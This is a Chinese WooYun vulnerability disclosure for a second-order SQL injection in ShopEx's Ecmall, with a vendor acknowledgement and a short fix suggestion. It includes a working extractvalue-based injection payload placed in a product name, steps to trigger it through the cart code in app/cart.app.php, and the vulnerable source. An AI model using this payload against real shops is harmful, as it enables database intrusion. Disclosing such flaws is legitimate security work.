当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(12) 关注此漏洞

缺陷编号: WooYun-2014-67944

漏洞标题: Ecmall某处SQL二次注入第一弹

相关厂商: ShopEx

漏洞作者: ′雨。认证白帽子

提交时间: 2014-07-10 10:52

公开时间: 2014-10-08 10:54

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

2人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-10: 细节已通知厂商并且等待厂商处理中
2014-07-10: 厂商已经确认,细节仅向厂商公开
2014-07-13: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-09-03: 细节向核心白帽子及相关领域专家公开
2014-09-13: 细节向普通白帽子公开
2014-09-23: 细节向实习白帽子公开
2014-10-08: 细节向公众公开

简要描述:

20140618

详细说明:

20140618做了些过滤但是还是能勉强绕过



首先注册一个会员 然后发布以上商品

然后转义入库 入库后转义符消失



商品名称 商品分类 品牌 价格 库存 上架 推荐 禁售 操作

全选

xxx'and extractvalue(1,concat(0x5c,(user()))),1,1,1,1)# 10.00 100 [可编辑] [可编辑] 编辑 | 删除



发布一个如上的商品



然后找找出库的地方



在app/cart.app.php中



code 区域
function add()
{
$spec_id = isset($_GET['spec_id']) ? intval($_GET['spec_id']) : 0;
$quantity = isset($_GET['quantity']) ? intval($_GET['quantity']) : 0;
if (!$spec_id || !$quantity)
{
return;
}

/* 是否有商品 */
$spec_model =& m('goodsspec');
$spec_info = $spec_model->get(array(
'conditions' => $spec_id,
'join' => 'belongs_to_goods',
));

if (!$spec_info)
{
$this->json_error('no_such_goods');
/* 商品不存在 */
return;
}

/* 如果是自己店铺的商品,则不能购买 */
if ($this->visitor->get('manage_store'))
{
if ($spec_info['store_id'] == $this->visitor->get('manage_store'))
{
$this->json_error('can_not_buy_yourself');

return;
}
}

/* 是否添加过 */
$model_cart =& m('cart');
$item_info = $model_cart->get("spec_id={$spec_id} AND session_id='" . SESS_ID . "'");
if (!empty($item_info))
{
$this->json_error('goods_already_in_cart');

return;
}

if ($quantity > $spec_info['stock'])
{
$this->json_error('no_enough_goods');
return;
}

$spec_1 = $spec_info['spec_name_1'] ? $spec_info['spec_name_1'] . ':' . $spec_info['spec_1'] : $spec_info['spec_1'];
$spec_2 = $spec_info['spec_name_2'] ? $spec_info['spec_name_2'] . ':' . $spec_info['spec_2'] : $spec_info['spec_2'];

$specification = $spec_1 . ' ' . $spec_2;

/* 将商品加入购物车 */
$cart_item = array(
'user_id' => $this->visitor->get('user_id'),
'session_id' => SESS_ID,
'store_id' => $spec_info['store_id'],
'spec_id' => $spec_id,
'goods_id' => $spec_info['goods_id'],
'goods_name' => $spec_info['goods_name'],
'specification' => trim($specification),
'price' => $spec_info['price'],
'quantity' => $quantity,
'goods_image' => $spec_info['default_image'],





这里出库后 goods_name没转义。



造成了二次注入。



1.jpg





直接出数据

漏洞证明:

见上。、

修复方案:

addslashes

版权声明:转载请注明来源 ′雨。@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2014-07-10 14:00

厂商回复:

非常感谢您为shopex信息安全做的贡献
我们将尽快修复
非常感谢

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-07-10 11:02 | roker ( 普通白帽子 | Rank:372 漏洞数:109 )
    0

    为什么这么吊

  2. 2014-07-10 11:18 | HackBraid 认证白帽子 ( 普通白帽子 | Rank:1854 漏洞数:296 | 风暴网络安全空间: http://www.heysec.or...)
    0

    @疯狗 这个也审核下呗http://www.wooyun.org/bugs/wooyun-2014-067717/trace/db140b73d6ad31ce7387d5197bd204aa

  3. 2014-07-24 15:30 | retanoj ( 路人 | Rank:27 漏洞数:9 )
    0

    @′ 雨。 我看v2.3.0-0918版本里,cart.app.php文件修改日期2010年10月18日已经做过addslashes,你说20140618是什么意思?你的漏洞源码是哪个版本?

  4. 2014-10-08 11:33 | 残废 ( 普通白帽子 | Rank:274 漏洞数:58 | 我是残废,啦啦啦啦)
    0

    雨牛千秋万代!

登录后才能发表评论,请先 登录